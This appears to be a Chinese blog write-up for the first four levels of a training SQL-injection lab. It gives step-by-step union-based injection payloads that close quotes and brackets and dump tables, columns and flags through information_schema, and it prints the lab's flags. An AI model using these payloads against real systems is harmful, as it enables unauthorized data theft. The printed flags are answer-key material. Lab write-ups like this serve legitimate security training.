

封神台 sql 注入靶场 writeup

原创

白帽渗透笔记 于 2021-07-21 21:57:02 发布 310 收藏 2

分类专栏: [渗透测试](#) 文章标签: [渗透测试](#) [网络安全](#) [sql](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/pentestnotes/article/details/118977548>

版权



[渗透测试](#) 专栏收录该内容

14 篇文章 5 订阅

订阅专栏

今天给大家带来封神台 sql 注入靶场前 4 关的解题思路, 并不算难。

地址

<https://hack.zkaq.cn/battle#bid=cd23d4b58f0dfd3e>

0x01

本关考点:

显错注入 (一)

任务

通过显错注入获得 flag。

对该页面进行 GET 传参, 传参名为 id

数据库查询语句:

```
select *from user where id=1
```

查询结果:

```
Your Login name:test  
Your Password:mima
```

首先判断是否存在注入点, 修改地址, 尝试 `id=1 and 1=1` 可以正常显示数据, `id=1 and 1=2` 无法显示数据, 故存在注入。

继续猜解字段数, `id=1 order by 1` 可以正常显示数据, 一直到 4 才无法显示, 故字段数为 3, 使用 `id=1 and 1=2 union select 1,2,3` 界面显示如下。

掌控安全学院SQL注入靶场

Pass-01
Pass-02
Pass-03
Pass-04
Pass-05
Pass-06
Pass-07
Pass-08
Pass-09
Pass-10

本关考点:

显错注入 (一)

任务

通过显错注入获得flag。

对该页面进行GET传参，传参名为id

数据库查询语句:

```
select *from user where id=1 and 1=2 union select 1,2,3
```

查询结果:

```
Your Login name:2  
Your Password:3
```

可见第 2,3 个字段作为结果展示，我使用第 3 个字段，查询当前数据库，使用 **id=1 and 1=2 union select 1,2,database()** 界面显示 Your Password:error，刚开始还以为出错了，后面发现是数据库就叫 error，所以得到当前数据库为 error。

继续查询当前数据库中的表。

```
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,group_concat(table_name) fr
```

显示 Your Password:error_flag,user，所以一共有 error_flag 和 user 这两张表，猜测 flag 在 error_flag 表，查询该表数据。

```
id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema
```

得到共有两个字段 Id 和 flag，接着查询出 flag。

```
id=1 and 1=2 union select 1,2,group_concat(flag) from error_flag
```

为 zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K。一不小心把前 4 关的 flag 都查出来了，不过没关系我们可以当没看到后三个。

3.1.1 SQL注入实战靶场 - 基础靶场1

👤 掌控者官方

🕒 2020-10-20 16:28:03

👤 (1392)

🗨️ (122)

Tips:

通过注入找到数据库中的Flag吧

Flag格式zKaQ-XXXXXXX

联合查询SQL注入，同学快来检测下你的学习成果

点击→传送门←，跳转专属靶场

恭喜过关

✕

✔️ Flag正确

确定

Flag正确!

提交

继续下一关。

0x02

和第一关基本一样，但是这里参数使用了单引号包裹，所以在构造语句时需要闭合单引号。

判断是否存在注入

`id=1' and '1'='1, id=1' and '1'='2`

判断字段数

`id=1' order by 1 %23`，%23 为 # 号，在 sql 中为注释后面的内容，这里用来注释语句后面的单引号。这里字段数同样为 3。

查询当前数据库

```
id=1' and 1=2 union select 1,2,database() %23
```

查询当前数据库中的表

```
id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =
```

查询表中字段

```
id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema =
```

查询数据

```
id=1' and 1=2 union select 1,2,group_concat(flag) from error_flag %23
```

0x03

在上一关单引号的基础上添加了括号，闭合括号即可。

查询当前数据库

```
id=1') and 1=2 union select 1,2,database() %23
```

查询当前数据库中的表

```
id=1') and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema
```

查询表中字段

```
id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schem
```

查询数据

```
id=1') and 1=2 union select 1,2,group_concat(flag) from error_flag %23
```

0x04

把上一关的单引号变成了双引号，换汤不换药。

查询当前数据库

```
id=1") and 1=2 union select 1,2,database() %23
```

查询当前数据库中的表

```
id=1") and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema
```

查询表中字段

```
id=1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schem
```

查询数据

```
id=1") and 1=2 union select 1,2,group_concat(flag) from error_flag %23
```